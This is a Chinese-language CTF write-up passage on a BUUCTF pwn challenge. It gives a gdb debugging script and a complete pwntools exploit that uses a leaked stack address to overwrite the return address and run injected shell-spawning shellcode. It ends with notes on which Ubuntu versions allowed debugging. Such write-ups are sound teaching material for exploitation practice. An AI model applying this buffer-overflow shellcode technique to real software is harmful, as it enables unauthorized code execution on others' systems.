一个调试技巧,这里要先断点,不然程序就直接结束了,无法debug
from pwn import *
p=process('./1')
context.log_level='debug'

gdb.attach(p,'b *0x8048600')

p.recvuntil('crash: ')
stack=int(p.recv(10),16)
print(hex(stack))

payload=b'crashme\x00' + b'a'*4
p.sendline(payload)

pause()
进入gdb界面后,按 c 运行到断点处
BUUCTF-PWN-第一页writep(32题)
查看栈可以发现,我们的数据在 0xffa39603 处开始填充,如果要覆盖 ebp ,那么需要 0x16 + 4 个字节
这里 chall 函数泄露地址是 0xfff5f9cc
BUUCTF-PWN-第一页writep(32题)
记录我们写入的 shellcode 的偏移为 0x1c,所以可以用 泄露地址 - 0x1c 来代表 shellcode 地址
BUUCTF-PWN-第一页writep(32题)
于是构造出以下exp
from pwn import *
p=process('./1')
context.log_level='debug'

p.recvuntil('crash: ') stack=int(p.recv(10),16) print(hex(stack)) payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh()) p.sendline(payload) p.interactive()

 这里比较坑的是,不知道是不是我环境配置的原因,我用 ubuntu16 和 ubuntu18 这两台是无法成功动态调试的,一按 c 就程序就直接结束了,根本不理会是否设置了断点,换了 ubuntu22 和 kali 才能正常调试